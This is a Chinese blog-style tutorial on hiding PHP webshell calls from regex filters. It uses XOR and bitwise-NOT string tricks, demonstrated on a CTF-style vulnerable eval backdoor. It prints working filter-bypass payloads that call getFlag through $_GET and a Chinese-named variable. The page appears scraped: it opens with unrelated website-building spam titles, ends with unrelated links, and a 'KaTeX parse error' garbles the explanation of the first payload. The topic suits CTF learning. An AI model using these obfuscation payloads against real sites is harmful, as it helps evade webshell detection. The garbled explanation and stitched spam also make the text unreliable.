当前位置: 首页 > news >正文

网站建设空间怎么租用套模板做网站流程

网站建设空间怎么租用,套模板做网站流程,利川网站网站建设,北京做网站维护文章目录 webshell前置知识进阶绕过 webshell 前置知识 <?phpecho "A"^""; ?>运行结果 可以看到出来的结果是字符“&#xff01;”。 为什么会得到这个结果&#xff1f;是因为代码的“A”字符与“”字符产生了异或。 php中&#xff0c;两个变…

文章目录

  • webshell
    • 前置知识
    • 进阶绕过

webshell

前置知识

<?phpecho "A"^"`";
?>

运行结果
在这里插入图片描述

可以看到出来的结果是字符“!”。

为什么会得到这个结果?是因为代码的“A”字符与“`”字符产生了异或。

php中,两个变量再进行异或的时候,它会将字符串转换成ASCII码,然后将ASCII码转换成二进制再来进行异或操作,异或完,又将二进制的结果转换成ASCII码,再将ASCLL码转换成字符串。

那么什么是异或?

异或操作就是两个二进制数在一起对比时,相同的为0,不同的为1

比如

A的ASCII码是65,对应的二进制是0100 0001

`的ASCII码是96,对应的二进制是0110 0000

那么,异或后,就是0010 0001,对应的ASCII码是33,对应的字符串就是!

接下来,看另外一个代码

<?phpfunction B(){echo "Hello Angel_Kitty";}$_++;$__= "?" ^ "}";$__();
?>

这个代码的运行结果为:Hello Angel_Kitty
在这里插入图片描述

分析一下代码

$_++;就是将"_"这个变量进行自增的操作,在PHP中,通常未定义的变量默认值为null,而nullfalse0,所以,我们可以通过这样的方法来得到一个数字。

$__="?" ^ "}";对字符"?""}"进行了异或运算,将得到的结果B赋给变量名为"__"(两个下划线)的变量

$ __ ();通过上面的赋值操作,变量$__的值就变成了B,所以这一行代码可以被看作B(),相当于调用函数B。所以运行后的结果是Hello Angel_Kitty。

我们可以通过这样转换的方法来绕过那些会检测我们的代码。

像是_POST",“system”,"call_user_func_arry"这些我们需要的字符串能够进行转换,或是其他的一些我们需要的东西。

下面是一个简单的PHP后门:

<?php
include 'flag.php';
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
// flag.php
<?phpfunction getFlag(){echo "hello world";}
?>

payload

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

运行后的结果
在这里插入图片描述

<?phpecho "`{{{"^"?<>/";//_GET
?>

首先,这个的运行结果是
在这里插入图片描述

那么前面的KaTeX parse error: Expected '}', got 'EOF' at end of input: … 中,然后前面又加了个字符,就变成了 $ _GET,又因为& _=getFlag,那么$ _GET又赋值了一个getFlag,所以就变成了调用getFlag函数。

第二种解法:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

也是一样的效果
在这里插入图片描述

进阶绕过

<?php include'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>50){ die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){ die("Not Allowed."); } @eval($code); 
}else{ highlight_file(__FILE__); 
} 
//$hint = "php function getFlag() to get flag"; 
?>

因为这个代码把_过滤了,所以我们需要用异或的方式

echo ("@" ^ "'").("@" ^ "%").("^" ^ "*").("|" ^ ":").("@" ^ ",").("@" ^ "!").("@" ^ "'");echo "@@^|@@@" ^ "'%*:,!'";

在这里插入图片描述

可以看到,我们这两行代码在进行异或操作过后,都是getFlag

所以最终的payload是

?code=$啊="@@^|@@@"^"'%*:,!'";$啊();

因为前面的代码中过滤了字母、数字和下划线,所以这边采用一下汉字来作为变量名。

然后,运行结果也是同样的hello world
在这里插入图片描述

http://www.yayakq.cn/news/698125/

相关文章:

  • 南京网站建做自媒体的上那些网站
  • 网站建设包括什么科目室内设计师联盟app
  • 曲靖市建设局网站官网seo实战密码完整版
  • 深圳市保障房申请网站药品和医疗器械网站icp备案前置审批流程
  • 东莞知名网站优化公司网站建设什么
  • 个人网站作品房屋设计软件免费版
  • 公司网站备案需要哪些广东峰凌建设有限公司网站
  • 网站建设psd如何搭建自己的网站服务器地址
  • 闵行区做网站网易云课堂的网站建设特点
  • 服务器分配网络提高网站访问速度哈尔滨恢复线下教学
  • 百度推广官方网站登录入口h5开发教程
  • 网站开发 jz.woonl用什么网站做微信推送
  • 国家建设工程质量检查标准网站html5网页设计实验报告
  • 无锡商业网站建设wordpress 信息录入
  • 阜阳市城乡建设 档案馆网站贵州省贵州省建设厅网站
  • 网站内容建设招标wordpress配置首页
  • 商标做网站logowordpress无法加载主题
  • 网站建设发专业人才培养方案服务器有了网站怎么做的
  • 宝塔怎么做网站的301跳转wordpress主题在线编辑
  • 网站审批号甘肃网站备案
  • 网站开发与设计实训二级域名网站怎么投广告
  • 传统设计公司网站南宁网站制作策划
  • 淘宝网站建设需求分析郑州整站网站优化
  • 建设购物网站流程图深圳市交易中心
  • 样式表一般用于大型网站网络app开发网站建设价格
  • sns网站设计网站开发付款分几步
  • 如何做视频网站的会员代理淘宝网手机网页版
  • 网站大学报名官网入口网站运营的含义
  • 汕头网站建设公司有哪些外国域名注册很多网站
  • 平邑做网站红色基调的网站